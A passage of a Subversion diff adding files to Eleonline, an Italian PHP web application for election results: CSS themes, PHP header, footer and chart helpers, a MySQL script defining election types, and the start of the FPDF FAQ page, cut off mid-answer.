+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
Index: /trunk/elezioni/trunk/admin/temi/facebook/styledefault.css
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/styledefault.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/styledefault.css	(revision 44)
@@ -0,0 +1,376 @@
+/**************** 
+style css for eleonline
+http://www.elenoline.it
+****************/
+
+body , html {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	font-style: normal;
+	font-weight: normal;
+	margin-right: 0;
+	margin-left: 0;
+	margin-top: 0;
+	text-align: center;
+	background-color: #FFFFFF;
+	color: #333333;
+}
+
+a:link {
+	text-decoration: none;
+	color: #660033;
+}
+a:visited {
+	text-decoration: none;
+	color: #660000;
+}
+a:hover {
+	color: #CC2222;
+}
+
+/* contenitore */
+
+div#container{
+    width: 750px;
+    margin: 0px auto;   /*centra negli altri browsers*/
+    text-align: left;   /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #660000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #EFEFEF;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+
+.sitebar {
+	background-image: url(images/site-background.gif);
+	font-size: 12px;
+	border: none;
+	color: #330000;
+}
+
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+	text-align:center;
+	width: 762px;
+}
+/* usate per blocco */
+
+.td-149 {
+	float: right;
+	margin: 0px 0 0 0px;
+	width: 149px;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+}
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+
+	
+/* sinistra */
+div#sx{
+    width: 610px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray 	{
+	background: #d2d2d2; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray2 	{
+	background: #EFEFEF; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #EFEFEF; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
Index: /trunk/elezioni/trunk/admin/temi/facebook/tema.php
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/tema.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/tema.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+
+if (!defined('ADMIN_FILE')) {
+    die ("Non puoi accedere al file direttamente...");
+}
+
+global $id_circ;
+
+	if (! isset($content)) $content="";
+	if (! isset($tlist)) $tlist="";
+	
+	$content .="<li><a href=\"#\"><strong>&nbsp; &nbsp;&nbsp;"._TEMA."</strong></a>
+	    <ul>";
+	
+	
+        
+	$path = "temi/";
+	$handle=opendir($path);
+    	while ($file = readdir($handle)) {
+
+			if ( (preg_match("/^([_0-9a-zA-Z]+)([_0-9a-zA-Z]{3})$/",$file)) ) {
+
+		   $tlist .= "$file ";
+		}
+   	}
+
+    	closedir($handle);
+    	$tlist = explode(" ", $tlist);
+    	sort($tlist);
+    	for ($i=0; $i < sizeof($tlist); $i++) {
+		if(($tlist[$i]!="") && ($tlist[$i]!="language")) {
+	    		if ($tema == $tlist[$i]) {
+				$sel = "selected";
+	    		} else {
+				$sel = "";
+	    		}
+
+				$files=ucfirst($tlist[$i]);
+	$content .= "<li><a href=\"modules.php?name=Elezioni&amp;id_comune=$id_comune&amp;id_cons_gen=$id_cons_gen&amp;op=$op&amp;id_circ=$id_circ&amp;tema=$tlist[$i]\">$files</a></li>"; 
+
+
+
+	    	
+
+		}
+    	}
+	
+    $content .="</ul></li>";
+
+  echo $content;
+
+     
+?>
Index: /trunk/elezioni/trunk/admin/temi/index.html
===================================================================
--- /trunk/elezioni/trunk/admin/temi/index.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/elezioni/trunk/aggiornamento-2.0-20090611.sql
===================================================================
--- /trunk/elezioni/trunk/aggiornamento-2.0-20090611.sql	(revision 44)
+++ /trunk/elezioni/trunk/aggiornamento-2.0-20090611.sql	(revision 44)
@@ -0,0 +1,49 @@
+--
+-- MySQL dump 10.10
+--
+-- Host: localhost    Database: eleonline2
+-- ------------------------------------------------------
+-- Server version	5.0.19-standard
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+
+
+-- Table structure for table `soraldo_ele_tipo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_tipo`;
+CREATE TABLE `soraldo_ele_tipo` (
+  `tipo_cons` int(11) NOT NULL default '0',
+  `descrizione` varchar(30) default NULL,
+  `lingua` varchar(2) NOT NULL default '0',
+  `genere` tinyint(4) NOT NULL default '0',
+  `voto_g` enum('0','1') NOT NULL default '0',
+  `voto_l` enum('0','1') NOT NULL default '0',
+  `voto_c` enum('0','1') NOT NULL default '0',
+  `circo` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`tipo_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_tipo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_tipo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_tipo` WRITE;
+INSERT INTO `soraldo_ele_tipo` VALUES (1,'PROVINCIALI','it',3,'0','0','0','0'),(2,'REFERENDUM','it',0,'0','0','0','0'),(3,'COMUNALI','it',5,'0','0','0','0'),(4,'CIRCOSCRIZIONALI','it',5,'0','0','0','1'),(5,'BALLOTTAGGIO COMUNALI','it',1,'0','0','0','0'),(6,'CAMERA','it',2,'0','0','0','0'),(7,'SENATO','it',2,'0','0','0','0'),(8,'EUROPEE','it',4,'0','0','0','0'),(9,'REGIONALI','it',5,'0','0','0','0'),(10,'SENATO CON GRUPPI','it',5,'1','0','1','0'),(11,'CAMERA CON GRUPPI','it',5,'1','0','1','0'),(12,'PROVINCIALI CON COLLEGI','it',3,'0','0','0','1'),(13,'BALLOTTAGGIO PROVINCIALI','it',1,'0','0','0','0'),(14,'EUROPEE CON COLLEGI','it',4,'0','0','0','1'),(15,'CAMERA CON GRUPPI E COLLEGI','it',5,'1','0','1','1'),(16,'SENATO CON GRUPPI E COLLEGI','it',5,'1','0','1','1'),(17,'REGIONALI CON COLLEGI','it',5,'0','0','0','1');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_tipo` ENABLE KEYS */;
+
+
+
Index: /trunk/elezioni/trunk/client/class/charts.php
===================================================================
--- /trunk/elezioni/trunk/client/class/charts.php	(revision 44)
+++ /trunk/elezioni/trunk/client/class/charts.php	(revision 44)
@@ -0,0 +1,158 @@
+<?php
+// charts.php v4.5
+// ------------------------------------------------------------------------
+// Copyright (c) 2003-2006, maani.us
+// ------------------------------------------------------------------------
+// This file is part of "PHP/SWF Charts"
+//
+// PHP/SWF Charts is a shareware. See http://www.maani.us/charts/ for
+// more information.
+// ------------------------------------------------------------------------
+
+//====================================
+function InsertChart( $flash_file, $library_path, $php_source, $width=470, $height=350, $bg_color="ffffff", $transparent=false, $license=null  ){
+        
+	$php_source=urlencode($php_source);
+	$library_path=urlencode($library_path);
+ 	$x=$_SESSION['max'];
+	$u=(strpos ($flash_file,"?")==false)? "?" : ((substr($flash_file, -1)=="&")? "":"&");
+
+
+	$html="<div style=\"text-align: right;\">";
+	if (strstr($_SERVER['HTTP_USER_AGENT'],"MSIE")){
+		$html.="<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' ";
+		$html.="width='".$width."' height='".$height."' id='charts$x'>";
+		$u=(strpos ($flash_file,"?")==false)? "?" : ((substr($flash_file, -1)=="&")? "":"&");
+		$html.="<param name='movie' value='".$flash_file.$u."library_path=".$library_path."&amp;php_source=".$php_source;
+		if($license!=null){$html.="&amp;license=".$license;}
+		$html.="'/> <param name='quality' value='high'/> <param name='bgcolor' value='#".$bg_color."'/> ";
+		if($transparent){$html.="<param name='wmode' value='transparent'/> ";}
+		$html.="</object>";
+	}else{
+		$html.="<embed src=\"".$flash_file.$u."library_path=".$library_path."&amp;php_source=".$php_source;
+        	if($license!=null){$html.="&amp;license=".$license;}
+        	$html.="\" quality=high bgcolor=#".$bg_color." width=".$width." height=".$height." name='charts' align='right' swLiveConnect='true' ";
+        	if($transparent){$html.="wmode=transparent ";}
+        	$html.="type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed>";
+	}
+	$html.="</div>";
+
+	return $html;
+	
+	
+}
+
+//====================================
+function SendChartData( $chart=array() ){
+	
+	
+	$xml="<chart>\r\n";
+	$Keys1= array_keys((array) $chart);
+	for ($i1=0;$i1<count($Keys1);$i1++){
+		if(is_array($chart[$Keys1[$i1]])){
+			$Keys2=array_keys($chart[$Keys1[$i1]]);
+			if(is_array($chart[$Keys1[$i1]][$Keys2[0]])){
+				$xml.="\t<".$Keys1[$i1].">\r\n";
+				for($i2=0;$i2<count($Keys2);$i2++){
+					$Keys3=array_keys((array) $chart[$Keys1[$i1]][$Keys2[$i2]]);
+					switch($Keys1[$i1]){
+						case "chart_data":
+						$xml.="\t\t<row>\r\n";
+						for($i3=0;$i3<count($Keys3);$i3++){
+							switch(true){
+								case ($chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]==null):
+								$xml.="\t\t\t<null/>\r\n";
+								break;
+								
+								case ($Keys2[$i2]>0 and $Keys3[$i3]>0):
+								$xml.="\t\t\t<number>".$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]."</number>\r\n";
+								break;
+								
+								default:
+								$xml.="\t\t\t<string>".$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]."</string>\r\n";
+								break;
+							}
+						}
+						$xml.="\t\t</row>\r\n";
+						break;
+						
+						case "chart_value_text":
+						$xml.="\t\t<row>\r\n";
+						$count=0;
+						for($i3=0;$i3<count($Keys3);$i3++){
+							if($chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]==null){$xml.="\t\t\t<null/>\r\n";}
+							else{$xml.="\t\t\t<string>".$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]."</string>\r\n";}
+						}
+						$xml.="\t\t</row>\r\n";
+						break;
+						
+						/*case "link_data_text":
+						$xml.="\t\t<row>\r\n";
+						$count=0;
+						for($i3=0;$i3<count($Keys3);$i3++){
+							if($chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]==null){$xml.="\t\t\t<null/>\r\n";}
+							else{$xml.="\t\t\t<string>".$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]."</string>\r\n";}
+						}
+						$xml.="\t\t</row>\r\n";
+						break;*/
+						
+						case "draw":
+						$text="";
+						$xml.="\t\t<".$chart[$Keys1[$i1]][$Keys2[$i2]]['type'];
+						for($i3=0;$i3<count($Keys3);$i3++){
+							if($Keys3[$i3]!="type"){
+								if($Keys3[$i3]=="text"){$text=$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]];}
+								else{$xml.=" ".$Keys3[$i3]."=\"".$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]."\"";}
+							}
+						}
+						if($text!=""){$xml.=">".$text."</text>\r\n";}
+						else{$xml.=" />\r\n";}
+						break;
+						
+						
+						default://link, etc.
+						$xml.="\t\t<value";
+						for($i3=0;$i3<count($Keys3);$i3++){
+							$xml.=" ".$Keys3[$i3]."=\"".$chart[$Keys1[$i1]][$Keys2[$i2]][$Keys3[$i3]]."\"";
+						}
+						$xml.=" />\r\n";
+						break;
+					}
+				}
+				$xml.="\t</".$Keys1[$i1].">\r\n";
+			}else{
+				if($Keys1[$i1]=="chart_type" or $Keys1[$i1]=="series_color" or $Keys1[$i1]=="series_image" or $Keys1[$i1]=="series_explode" or $Keys1[$i1]=="axis_value_text"){							
+					$xml.="\t<".$Keys1[$i1].">\r\n";
+					for($i2=0;$i2<count($Keys2);$i2++){
+						if($chart[$Keys1[$i1]][$Keys2[$i2]]==null){$xml.="\t\t<null/>\r\n";}
+						else{$xml.="\t\t<value>".$chart[$Keys1[$i1]][$Keys2[$i2]]."</value>\r\n";}
+					}
+					$xml.="\t</".$Keys1[$i1].">\r\n";
+				}else{//axis_category, etc.
+					$xml.="\t<".$Keys1[$i1];
+					for($i2=0;$i2<count($Keys2);$i2++){
+						$xml.=" ".$Keys2[$i2]."=\"".$chart[$Keys1[$i1]][$Keys2[$i2]]."\"";
+					}
+					$xml.=" />\r\n";
+				}
+			}
+		}else{//chart type, etc.
+			$xml.="\t<".$Keys1[$i1].">".$chart[$Keys1[$i1]]."</".$Keys1[$i1].">\r\n";
+		}
+	}
+	$xml.="</chart>\r\n";
+/*        // stampa su file by Linuxap
+        mt_srand ((double)microtime()*1000000);
+	$maxran = 1000000;
+	$random_num = mt_rand(0, $maxran);
+        $fileout="./temp/$random_num";
+        $fp = fopen($fileout,"w");
+        fwrite($fp,$xml);
+        fclose($fp);
+*/
+	//echo $xml;
+//MODIFICHE PER TOGLIERE FILETEMP
+	return $xml; //return $fileout;
+}
+//====================================
+?>
Index: /trunk/elezioni/trunk/client/file.php
===================================================================
--- /trunk/elezioni/trunk/client/file.php	(revision 44)
+++ /trunk/elezioni/trunk/client/file.php	(revision 44)
@@ -0,0 +1,44 @@
+<?php
+
+include("config.php");
+if(!$dbi = mysql_connect($dbhost, $dbuname, $dbpass)){
+die("<center><img src=\"images/logo.gif\" target=\"Logo Avviso Errore\"><br><br><b>Ci sono dei problemi di connessione al Server $dbtype, chiediamo scusa per l'inconveniente.<br><br>Provate piu' tardi, Grazie.</b><br><font color=\"#ff0000\">". mysql_error()."</font></center>");
+}
+$fase=intval($_GET['fase']);
+
+if(!mysql_select_db($dbname)){
+die("<center><img src=src=\"images/logo.gif\" target=\"Logo Avviso Errore\"><br><br><b>Ci sono dei problemi di connessione al DataBase $dbtype, chiediamo scusa per l'inconveniente.<br><br>Provate piu' tardi, Grazie.</b><br><font color=\"#ff0000\">". mysql_error()."</font></center>");
+}
+mysql_query("SET NAMES 'utf8'", $dbi);
+if ($fase=='1'){
+	$res = mysql_query("SELECT id_cons_gen,descrizione from ".$prefix."_ele_consultazione order by descrizione",$dbi);
+Header("content-type: application/x-javascript");
+echo "document.write(\"<b><select name=\'id_cons_gen2\'>";
+
+while(list($id_cons_gen2,$descr) = mysql_fetch_row($res)) {
+			echo "<option value=\'$id_cons_gen2\'>$descr";
+		}
+		echo "</select>";
+mysql_data_seek($res,0);
+while(list($id_cons_gen2,$descr) = mysql_fetch_row($res)) {
+			echo "<input type=\'hidden\' name=\'$id_cons_gen2\' value=\'$descr\'>";
+		}
+echo "</b>\")";
+
+}elseif ($fase=='2'){
+	$id_cons_gen2=intval($_GET['id_cons_gen2']);
+	$rescons = mysql_query("SELECT descrizione from ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen2'",$dbi);
+	list($descr_cons) = mysql_fetch_row($rescons);
+	$res = mysql_query("SELECT t2.id_comune,t2.descrizione from ".$prefix."_ele_cons_comune as t1 left join ".$prefix."_ele_comuni as t2 on t1.id_comune=t2.id_comune where t1.id_cons_gen=$id_cons_gen2 order by t2.descrizione ",$dbi);
+Header("content-type: application/x-javascript");
+echo "document.write(\"<b><input type=\'hidden\' name=\'id_cons_gen2\' value=\'$id_cons_gen2\'><select name=\'id_comune2\'>";
+
+while(list($id_comune2,$descr) = mysql_fetch_row($res)) {
+			echo "<option value=\'$id_comune2\'>$descr";
+		}
+		echo "</select>";
+echo "</b>\")";
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/footer.php
===================================================================
--- /trunk/elezioni/trunk/client/footer.php	(revision 44)
+++ /trunk/elezioni/trunk/client/footer.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+global $csv;
+if (!$csv)
+piede();
+$PHP_SELF=$_SERVER['PHP_SELF'];
+if (stristr($PHP_SELF,"footer.php")) {
+    Header("Location: index.php");
+    die();
+}
+
+echo "<table><tr align=\"center\"><td>
+<div> "._INVIOSEGN." <a href=\"modules.php?name=Elezioni&amp;file=index&amp;op=contatti\"> "._CLICCAQUI."</a> "; 
+
+
+/************************************************************************/
+/*    LE SEGUENTI LINEE DI PROGRAMMA NON DEVONO ESSERE MODIFICATE       */
+/************************************************************************/
+
+ echo "<br />[<a href=\"http://www.eleonline.it\"><b>Eleonline-2.0</b></a> - "._GESRIS." ]
+";
+echo '</div>
+
+<!-- w3c -->
+	<div class="w3cbutton3">
+  		<a href="http://www.w3.org/WAI/WCAG1AA-Conformance" title="pagina di spiegazione degli standard">
+    		<span class="w3c">W3C</span>
+    		<span class="spec">WAI-<span class="specRed">AA</span></span>
+  		</a>
+	</div>
+	<div class="w3cbutton3">
+  		<a href="http://jigsaw.w3.org/css-validator/" title="Validatore css">
+		<span class="w3c">W3C</span>
+    		<span class="spec">CSS</span>
+  		</a>
+	</div>
+	<div class="w3cbutton3">
+  		<a href="http://validator.w3.org/" title="Validatore XHTML ">
+    		<span class="w3c">W3C</span>
+    		<span class="spec">XHTML 1.0</span>
+		</a>
+	</div>
+</td></tr></table>';
+echo "</body>\n"
+."</html>";
+die();
+?>
+
Index: /trunk/elezioni/trunk/client/header.php
===================================================================
--- /trunk/elezioni/trunk/client/header.php	(revision 44)
+++ /trunk/elezioni/trunk/client/header.php	(revision 44)
@@ -0,0 +1,46 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* ultima modfifica: aggiunta rotazione 18 marzo 2009 */
+
+if (stristr($PHP_SELF,"header.php")) {
+    Header("Location: index.php");
+    die();
+}
+
+
+include("temi/$tema/index.php"); 
+include("modules/Elezioni/language/lang-$lang.php");
+
+
+function head() {
+	global $csv,$tema,$tour;
+	echo '
+	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+	<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">';
+	echo "<head>\n";
+	echo "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />";
+	echo "<title>Eleonline - Elezioni on line</title>\n";
+	echo "<link rel=\"stylesheet\" href=\"temi/$tema/style.css\" type=\"text/css\" />\n\n\n";
+	include("inc/javascript.php"); # rotazione (18 marzo 2009) tema tour
+
+	echo "\n\n\n</head>\n";
+	# rotazione per tema tour
+	if (isset($_SESSION['ruota'])){$csv=1; echo "<body onload=\"loadpage()\"";}
+	else echo "<body";
+	if (!$csv) echo " style=\"background-image: url(temi/$tema/images/sfondo.jpg); background-repeat:repeat-x;\"";
+	echo " >\n";
+	include("inc/authors.php");
+
+	include_once("modules/Elezioni/funzioni.php");
+	if (!$csv)testata();
+
+  }
+
+head();
+
+?>
Index: /trunk/elezioni/trunk/client/inc/authors.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/authors.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/authors.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+
+echo "<!--
+	   Eleonline : Elezioni on line in tempo reale
+	   Software Freeware and open source 
+           by luciano apolito e roberto gigli 
+	   http://www.eleonline.it 
+           -->
+";
+
+
+?>
+	  
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/FAQ.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/FAQ.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/FAQ.htm	(revision 44)
@@ -0,0 +1,339 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>FAQ</title>
+<link type="text/css" rel="stylesheet" href="fpdf.css">
+<style type="text/css">
+ul {list-style-type:none; margin:0; padding:0}
+ul#answers li {margin-top:1.8em}
+.question {font-weight:bold; color:#900000}
+</style>
+</head>
+<body>
+<h1>FAQ</h1>
+<ul>
+<li><b>1.</b> <a href='#q1'>What's exactly the license of FPDF? Are there any usage restrictions?</a></li>
+<li><b>2.</b> <a href='#q2'>When I try to create a PDF, a lot of weird characters show on the screen. Why?</a></li>
+<li><b>3.</b> <a href='#q3'>I try to generate a PDF and IE displays a blank page. What happens?</a></li>
+<li><b>4.</b> <a href='#q4'>I can't make line breaks work. I put \n in the string printed by MultiCell but it doesn't work.</a></li>
+<li><b>5.</b> <a href='#q5'>I try to display a variable in the Header method but nothing prints.</a></li>
+<li><b>6.</b> <a href='#q6'>I defined the Header and Footer methods in my PDF class but nothing appears.</a></li>
+<li><b>7.</b> <a href='#q7'>Accented characters are replaced by some strange characters like Ã©.</a></li>
+<li><b>8.</b> <a href='#q8'>I try to display the Euro symbol but it doesn't work.</a></li>
+<li><b>9.</b> <a href='#q9'>I get the following error when I try to generate a PDF: Some data has already been output, can't send PDF file</a></li>
+<li><b>10.</b> <a href='#q10'>I draw a frame with very precise dimensions, but when printed I notice some differences.</a></li>
+<li><b>11.</b> <a href='#q11'>I'd like to use the whole surface of the page, but when printed I always have some margins. How can I get rid of them?</a></li>
+<li><b>12.</b> <a href='#q12'>How can I put a background in my PDF?</a></li>
+<li><b>13.</b> <a href='#q13'>How can I set a specific header or footer on the first page?</a></li>
+<li><b>14.</b> <a href='#q14'>I'd like to use extensions provided by different scripts. How can I combine them?</a></li>
+<li><b>15.</b> <a href='#q15'>How can I send the PDF by email?</a></li>
+<li><b>16.</b> <a href='#q16'>What's the limit of the file sizes I can generate with FPDF?</a></li>
+<li><b>17.</b> <a href='#q17'>Can I modify a PDF with FPDF?</a></li>
+<li><b>18.</b> <a href='#q18'>I'd like to make a search engine in PHP and index PDF files. Can I do it with FPDF?</a></li>
+<li><b>19.</b> <a href='#q19'>Can I convert an HTML page to PDF with FPDF?</a></li>
+<li><b>20.</b> <a href='#q20'>Can I concatenate PDF files with FPDF?</a></li>
+</ul>
+
+<ul id='answers'>
+<li id='q1'>
+<p><b>1.</b> <span class='question'>What's exactly the license of FPDF? Are there any usage restrictions?</span></p>
+FPDF is released under a permissive license: there is no usage restriction. You may embed it
